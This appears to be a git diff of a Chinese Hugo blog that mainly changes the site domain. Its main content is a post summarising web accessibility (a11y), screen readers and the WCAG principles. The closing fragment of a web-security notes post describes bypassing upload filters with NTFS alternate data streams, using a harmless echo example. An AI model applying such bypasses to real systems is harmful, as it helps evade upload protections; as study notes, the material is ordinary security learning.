9.使表单容易完成，例如带有清晰的错误消息和简单的错误恢复。\n而WCAG指南也提供了建议：\n可感知性（Perceivable）：非文本内容有文本替代，对于视频内容应该提供字幕，确保视感和听感都可浏览，不会因为某些原因导致信息或者结构（可以理解为文本顺序）丢失，应该具备可辨别性（颜色不应该作用区别视觉的唯一手段（针对色盲人士））\n可操作性（Operable）：页面可通过键盘来操作，而不是唯一依赖于鼠标，提供足够的时间来阅读和使用内容（比如定时可调整，关闭定时，延长定时等等），防癫痫（不使用会诱发癫痫的设计，例如控制闪光的次数），提供导航，查找以及提供内容位置，允许使用键盘之外的设备输入（例如鼠标或者手写板）\n可理解性（Understandable）：内容应该都是可读，可被理解的（例如设置多种人类语言，比如英文，中文，日文等等，根据操作系统使用语言或者时区设置为默认语言，语言可切换），任何操作都应该具备可预见性（例如关闭一个弹窗，不会导致其他意想不到的情况发生），当输入出现问题应该提示用户哪错了（例如注册时，密码的组合程度等等），当出现用户操作出错时，应该做到操作可逆或者二次确定操作（给予用户检查和纠正的机会）\n鲁棒性（Robust）：应该在发生某一些系统故障或者网络故障时，确保还能正常工作，而不是罢工或者出错，鲁棒性又叫抗干扰性，健壮性","keywords":["a11y"],"articleBody":"a11y全称为Accessibility，A到y之间有11个字母，因此叫a11y，Accessibility中文翻译为可访问性，也就是无障碍\n让网站具备无障碍性，可以让一些视觉障碍人士访问该网站，而且就算是其他人士使用，也会因a11y而受益（不因网络慢，css文件丢失而无法正常浏览页面内容）\n在mdn上有句话：The Web is fundamentally designed to work for all people, whatever their hardware, software, language, culture, location, or physical or mental ability. When the Web meets this goal, it is accessible to people with a diverse range of hearing, movement, sight, and cognitive ability.\nw3c发布了Web内容无障碍指南 (WCAG) https://www.w3.org/Translations/WCAG21-zh/\n妨碍障碍人士访问web页面常见是视觉障碍，一般需要使用放大镜或者屏幕缩放来访问，严重的可能需要使用屏幕阅读器\n常见的屏幕阅读器有：NVDA（windows），ChromeVox（Chrome浏览器内置），Narrator（windows内置，也就是我们说的讲述人），VoiceOver（苹果家的，像MacOS，ios，ipadOS都内置了），TalkBack（安卓内置），以及Orca（Linux内置）\nmdn对于障碍人士可访问性优化提供了建议：\n1.使用多种方式传达内容，比如从文本到语音或是视频； 2.更易理解的内容，例如使用更通俗的语言书写的文本； 3.将注意力集中在重要内容上； 4.尽量减少干扰，例如不必要的内容或广告； 5.一致的网页布局和导航； 6.相似的元素，比如未访问的下划线链接使用蓝色而访问过的使用紫色； 7.将过程划分为更有逻辑的，必要的步骤并附上进度指示器； 8.在不影响安全性的情况下尽可能让网站认证更简单；并且 9.使表单容易完成，例如带有清晰的错误消息和简单的错误恢复。\n而WCAG指南也提供了建议：\n可感知性（Perceivable）：非文本内容有文本替代，对于视频内容应该提供字幕，确保视感和听感都可浏览，不会因为某些原因导致信息或者结构（可以理解为文本顺序）丢失，应该具备可辨别性（颜色不应该作用区别视觉的唯一手段（针对色盲人士））\n可操作性（Operable）：页面可通过键盘来操作，而不是唯一依赖于鼠标，提供足够的时间来阅读和使用内容（比如定时可调整，关闭定时，延长定时等等），防癫痫（不使用会诱发癫痫的设计，例如控制闪光的次数），提供导航，查找以及提供内容位置，允许使用键盘之外的设备输入（例如鼠标或者手写板）\n可理解性（Understandable）：内容应该都是可读，可被理解的（例如设置多种人类语言，比如英文，中文，日文等等，根据操作系统使用语言或者时区设置为默认语言，语言可切换），任何操作都应该具备可预见性（例如关闭一个弹窗，不会导致其他意想不到的情况发生），当输入出现问题应该提示用户哪错了（例如注册时，密码的组合程度等等），当出现用户操作出错时，应该做到操作可逆或者二次确定操作（给予用户检查和纠正的机会）\n鲁棒性（Robust）：应该在发生某一些系统故障或者网络故障时，确保还能正常工作，而不是罢工或者出错，鲁棒性又叫抗干扰性，健壮性\n","wordCount":"66","inLanguage":"en","datePublished":"2022-04-09T13:01:00Z","dateModified":"2022-04-09T13:01:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/144/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单了解a11y无障碍</h1><div class=post-meta><span title='2022-04-09 13:01:00 +0000 UTC'>2022-04-09</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e4%ba%86%e8%a7%a3a11y%e6%97%a0%e9%9a%9c%e7%a2%8d.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>a11y全称为Accessibility，A到y之间有11个字母，因此叫a11y，Accessibility中文翻译为可访问性，也就是无障碍</p><p>让网站具备无障碍性，可以让一些视觉障碍人士访问该网站，而且就算是其他人士使用，也会因a11y而受益（不因网络慢，css文件丢失而无法正常浏览页面内容）</p><p>在mdn上有句话：The Web is fundamentally designed to work for all people, whatever their hardware, software, language, culture, location, or physical or mental ability. When the Web meets this goal, it is accessible to people with a diverse range of hearing, movement, sight, and cognitive ability.</p><p>w3c发布了Web内容无障碍指南 (WCAG) <a href=https://www.w3.org/Translations/WCAG21-zh/>https://www.w3.org/Translations/WCAG21-zh/</a></p><p>妨碍障碍人士访问web页面常见是视觉障碍，一般需要使用放大镜或者屏幕缩放来访问，严重的可能需要使用屏幕阅读器</p><p>常见的屏幕阅读器有：NVDA（windows），ChromeVox（Chrome浏览器内置），Narrator（windows内置，也就是我们说的讲述人），VoiceOver（苹果家的，像MacOS，ios，ipadOS都内置了），TalkBack（安卓内置），以及Orca（Linux内置）</p><p>mdn对于障碍人士可访问性优化提供了建议：</p><p>1.使用多种方式传达内容，比如从文本到语音或是视频；
+鲁棒性（Robust）：应该在发生某一些系统故障或者网络故障时，确保还能正常工作，而不是罢工或者出错，鲁棒性又叫抗干扰性，健壮性"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单了解a11y无障碍","item":"https://chenjunlinabc.github.io/posts/144/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单了解a11y无障碍","name":"简单了解a11y无障碍","description":"a11y全称为Accessibility，A到y之间有11个字母，因此叫a11y，Accessibility中文翻译为可访问性，也就是无障碍\n让网站具备无障碍性，可以让一些视觉障碍人士访问该网站，而且就算是其他人士使用，也会因a11y而受益（不因网络慢，css文件丢失而无法正常浏览页面内容）\n在mdn上有句话：The Web is fundamentally designed to work for all people, whatever their hardware, software, language, culture, location, or physical or mental ability. When the Web meets this goal, it is accessible to people with a diverse range of hearing, movement, sight, and cognitive ability.\nw3c发布了Web内容无障碍指南 (WCAG) https://www.w3.org/Translations/WCAG21-zh/\n妨碍障碍人士访问web页面常见是视觉障碍，一般需要使用放大镜或者屏幕缩放来访问，严重的可能需要使用屏幕阅读器\n常见的屏幕阅读器有：NVDA（windows），ChromeVox（Chrome浏览器内置），Narrator（windows内置，也就是我们说的讲述人），VoiceOver（苹果家的，像MacOS，ios，ipadOS都内置了），TalkBack（安卓内置），以及Orca（Linux内置）\nmdn对于障碍人士可访问性优化提供了建议：\n1.使用多种方式传达内容，比如从文本到语音或是视频； 2.更易理解的内容，例如使用更通俗的语言书写的文本； 3.将注意力集中在重要内容上； 4.尽量减少干扰，例如不必要的内容或广告； 5.一致的网页布局和导航； 6.相似的元素，比如未访问的下划线链接使用蓝色而访问过的使用紫色； 7.将过程划分为更有逻辑的，必要的步骤并附上进度指示器； 8.在不影响安全性的情况下尽可能让网站认证更简单；并且 9.使表单容易完成，例如带有清晰的错误消息和简单的错误恢复。\n而WCAG指南也提供了建议：\n可感知性（Perceivable）：非文本内容有文本替代，对于视频内容应该提供字幕，确保视感和听感都可浏览，不会因为某些原因导致信息或者结构（可以理解为文本顺序）丢失，应该具备可辨别性（颜色不应该作用区别视觉的唯一手段（针对色盲人士））\n可操作性（Operable）：页面可通过键盘来操作，而不是唯一依赖于鼠标，提供足够的时间来阅读和使用内容（比如定时可调整，关闭定时，延长定时等等），防癫痫（不使用会诱发癫痫的设计，例如控制闪光的次数），提供导航，查找以及提供内容位置，允许使用键盘之外的设备输入（例如鼠标或者手写板）\n可理解性（Understandable）：内容应该都是可读，可被理解的（例如设置多种人类语言，比如英文，中文，日文等等，根据操作系统使用语言或者时区设置为默认语言，语言可切换），任何操作都应该具备可预见性（例如关闭一个弹窗，不会导致其他意想不到的情况发生），当输入出现问题应该提示用户哪错了（例如注册时，密码的组合程度等等），当出现用户操作出错时，应该做到操作可逆或者二次确定操作（给予用户检查和纠正的机会）\n鲁棒性（Robust）：应该在发生某一些系统故障或者网络故障时，确保还能正常工作，而不是罢工或者出错，鲁棒性又叫抗干扰性，健壮性","keywords":["a11y"],"articleBody":"a11y全称为Accessibility，A到y之间有11个字母，因此叫a11y，Accessibility中文翻译为可访问性，也就是无障碍\n让网站具备无障碍性，可以让一些视觉障碍人士访问该网站，而且就算是其他人士使用，也会因a11y而受益（不因网络慢，css文件丢失而无法正常浏览页面内容）\n在mdn上有句话：The Web is fundamentally designed to work for all people, whatever their hardware, software, language, culture, location, or physical or mental ability. When the Web meets this goal, it is accessible to people with a diverse range of hearing, movement, sight, and cognitive ability.\nw3c发布了Web内容无障碍指南 (WCAG) https://www.w3.org/Translations/WCAG21-zh/\n妨碍障碍人士访问web页面常见是视觉障碍，一般需要使用放大镜或者屏幕缩放来访问，严重的可能需要使用屏幕阅读器\n常见的屏幕阅读器有：NVDA（windows），ChromeVox（Chrome浏览器内置），Narrator（windows内置，也就是我们说的讲述人），VoiceOver（苹果家的，像MacOS，ios，ipadOS都内置了），TalkBack（安卓内置），以及Orca（Linux内置）\nmdn对于障碍人士可访问性优化提供了建议：\n1.使用多种方式传达内容，比如从文本到语音或是视频； 2.更易理解的内容，例如使用更通俗的语言书写的文本； 3.将注意力集中在重要内容上； 4.尽量减少干扰，例如不必要的内容或广告； 5.一致的网页布局和导航； 6.相似的元素，比如未访问的下划线链接使用蓝色而访问过的使用紫色； 7.将过程划分为更有逻辑的，必要的步骤并附上进度指示器； 8.在不影响安全性的情况下尽可能让网站认证更简单；并且 9.使表单容易完成，例如带有清晰的错误消息和简单的错误恢复。\n而WCAG指南也提供了建议：\n可感知性（Perceivable）：非文本内容有文本替代，对于视频内容应该提供字幕，确保视感和听感都可浏览，不会因为某些原因导致信息或者结构（可以理解为文本顺序）丢失，应该具备可辨别性（颜色不应该作用区别视觉的唯一手段（针对色盲人士））\n可操作性（Operable）：页面可通过键盘来操作，而不是唯一依赖于鼠标，提供足够的时间来阅读和使用内容（比如定时可调整，关闭定时，延长定时等等），防癫痫（不使用会诱发癫痫的设计，例如控制闪光的次数），提供导航，查找以及提供内容位置，允许使用键盘之外的设备输入（例如鼠标或者手写板）\n可理解性（Understandable）：内容应该都是可读，可被理解的（例如设置多种人类语言，比如英文，中文，日文等等，根据操作系统使用语言或者时区设置为默认语言，语言可切换），任何操作都应该具备可预见性（例如关闭一个弹窗，不会导致其他意想不到的情况发生），当输入出现问题应该提示用户哪错了（例如注册时，密码的组合程度等等），当出现用户操作出错时，应该做到操作可逆或者二次确定操作（给予用户检查和纠正的机会）\n鲁棒性（Robust）：应该在发生某一些系统故障或者网络故障时，确保还能正常工作，而不是罢工或者出错，鲁棒性又叫抗干扰性，健壮性\n","wordCount":"66","inLanguage":"en","datePublished":"2022-04-09T13:01:00Z","dateModified":"2022-04-09T13:01:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/144/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单了解a11y无障碍</h1><div class=post-meta><span title='2022-04-09 13:01:00 +0000 UTC'>2022-04-09</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e4%ba%86%e8%a7%a3a11y%e6%97%a0%e9%9a%9c%e7%a2%8d.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>a11y全称为Accessibility，A到y之间有11个字母，因此叫a11y，Accessibility中文翻译为可访问性，也就是无障碍</p><p>让网站具备无障碍性，可以让一些视觉障碍人士访问该网站，而且就算是其他人士使用，也会因a11y而受益（不因网络慢，css文件丢失而无法正常浏览页面内容）</p><p>在mdn上有句话：The Web is fundamentally designed to work for all people, whatever their hardware, software, language, culture, location, or physical or mental ability. When the Web meets this goal, it is accessible to people with a diverse range of hearing, movement, sight, and cognitive ability.</p><p>w3c发布了Web内容无障碍指南 (WCAG) <a href=https://www.w3.org/Translations/WCAG21-zh/>https://www.w3.org/Translations/WCAG21-zh/</a></p><p>妨碍障碍人士访问web页面常见是视觉障碍，一般需要使用放大镜或者屏幕缩放来访问，严重的可能需要使用屏幕阅读器</p><p>常见的屏幕阅读器有：NVDA（windows），ChromeVox（Chrome浏览器内置），Narrator（windows内置，也就是我们说的讲述人），VoiceOver（苹果家的，像MacOS，ios，ipadOS都内置了），TalkBack（安卓内置），以及Orca（Linux内置）</p><p>mdn对于障碍人士可访问性优化提供了建议：</p><p>1.使用多种方式传达内容，比如从文本到语音或是视频；
 2.更易理解的内容，例如使用更通俗的语言书写的文本；
 3.将注意力集中在重要内容上；
 4.尽量减少干扰，例如不必要的内容或广告；
@@ -43,8 +43,8 @@
 6.相似的元素，比如未访问的下划线链接使用蓝色而访问过的使用紫色；
 7.将过程划分为更有逻辑的，必要的步骤并附上进度指示器；
 8.在不影响安全性的情况下尽可能让网站认证更简单；并且
-9.使表单容易完成，例如带有清晰的错误消息和简单的错误恢复。</p><p>而WCAG指南也提供了建议：</p><p>可感知性（Perceivable）：非文本内容有文本替代，对于视频内容应该提供字幕，确保视感和听感都可浏览，不会因为某些原因导致信息或者结构（可以理解为文本顺序）丢失，应该具备可辨别性（颜色不应该作用区别视觉的唯一手段（针对色盲人士））</p><p>可操作性（Operable）：页面可通过键盘来操作，而不是唯一依赖于鼠标，提供足够的时间来阅读和使用内容（比如定时可调整，关闭定时，延长定时等等），防癫痫（不使用会诱发癫痫的设计，例如控制闪光的次数），提供导航，查找以及提供内容位置，允许使用键盘之外的设备输入（例如鼠标或者手写板）</p><p>可理解性（Understandable）：内容应该都是可读，可被理解的（例如设置多种人类语言，比如英文，中文，日文等等，根据操作系统使用语言或者时区设置为默认语言，语言可切换），任何操作都应该具备可预见性（例如关闭一个弹窗，不会导致其他意想不到的情况发生），当输入出现问题应该提示用户哪错了（例如注册时，密码的组合程度等等），当出现用户操作出错时，应该做到操作可逆或者二次确定操作（给予用户检查和纠正的机会）</p><p>鲁棒性（Robust）：应该在发生某一些系统故障或者网络故障时，确保还能正常工作，而不是罢工或者出错，鲁棒性又叫抗干扰性，健壮性</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/a11y/>a11y</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/145/><span class=title>« Prev</span><br><span>web安全学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/142/><span class=title>Next »</span><br><span>Rust学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+9.使表单容易完成，例如带有清晰的错误消息和简单的错误恢复。</p><p>而WCAG指南也提供了建议：</p><p>可感知性（Perceivable）：非文本内容有文本替代，对于视频内容应该提供字幕，确保视感和听感都可浏览，不会因为某些原因导致信息或者结构（可以理解为文本顺序）丢失，应该具备可辨别性（颜色不应该作用区别视觉的唯一手段（针对色盲人士））</p><p>可操作性（Operable）：页面可通过键盘来操作，而不是唯一依赖于鼠标，提供足够的时间来阅读和使用内容（比如定时可调整，关闭定时，延长定时等等），防癫痫（不使用会诱发癫痫的设计，例如控制闪光的次数），提供导航，查找以及提供内容位置，允许使用键盘之外的设备输入（例如鼠标或者手写板）</p><p>可理解性（Understandable）：内容应该都是可读，可被理解的（例如设置多种人类语言，比如英文，中文，日文等等，根据操作系统使用语言或者时区设置为默认语言，语言可切换），任何操作都应该具备可预见性（例如关闭一个弹窗，不会导致其他意想不到的情况发生），当输入出现问题应该提示用户哪错了（例如注册时，密码的组合程度等等），当出现用户操作出错时，应该做到操作可逆或者二次确定操作（给予用户检查和纠正的机会）</p><p>鲁棒性（Robust）：应该在发生某一些系统故障或者网络故障时，确保还能正常工作，而不是罢工或者出错，鲁棒性又叫抗干扰性，健壮性</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/a11y/>a11y</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/145/><span class=title>« Prev</span><br><span>web安全学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/142/><span class=title>Next »</span><br><span>Rust学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/145/index.html b/posts/145/index.html
index db639cbe..09aedda7 100644
--- a/posts/145/index.html
+++ b/posts/145/index.html
@@ -32,8 +32,8 @@
 Windows文件流绕过
 利用windows平台的NTFS文件系统的文件流特性，设置文件时，默认使用未命名的文件流，但是也可以创建其他命名的文件流
 例如：
-echo hallo,word > hallo.txt:a.txt
echo hallo > hallo."><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/145/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="web安全学习笔记"><meta property="og:description" content="常见web工具：
+echo hallo,word > hallo.txt:a.txt echo hallo > hallo."><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/145/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="web安全学习笔记"><meta property="og:description" content="常见web工具：
 burpsuite：通过代理渗透，可重放HTTP请求，来分析HTTP响应
 curl：通过url方式传输数据，可用于抓取页面（执行请求），监控网络等等
 postmain
@@ -67,7 +67,7 @@
 Windows文件流绕过
 利用windows平台的NTFS文件系统的文件流特性，设置文件时，默认使用未命名的文件流，但是也可以创建其他命名的文件流
 例如：
-echo hallo,word > hallo.txt:a.txt
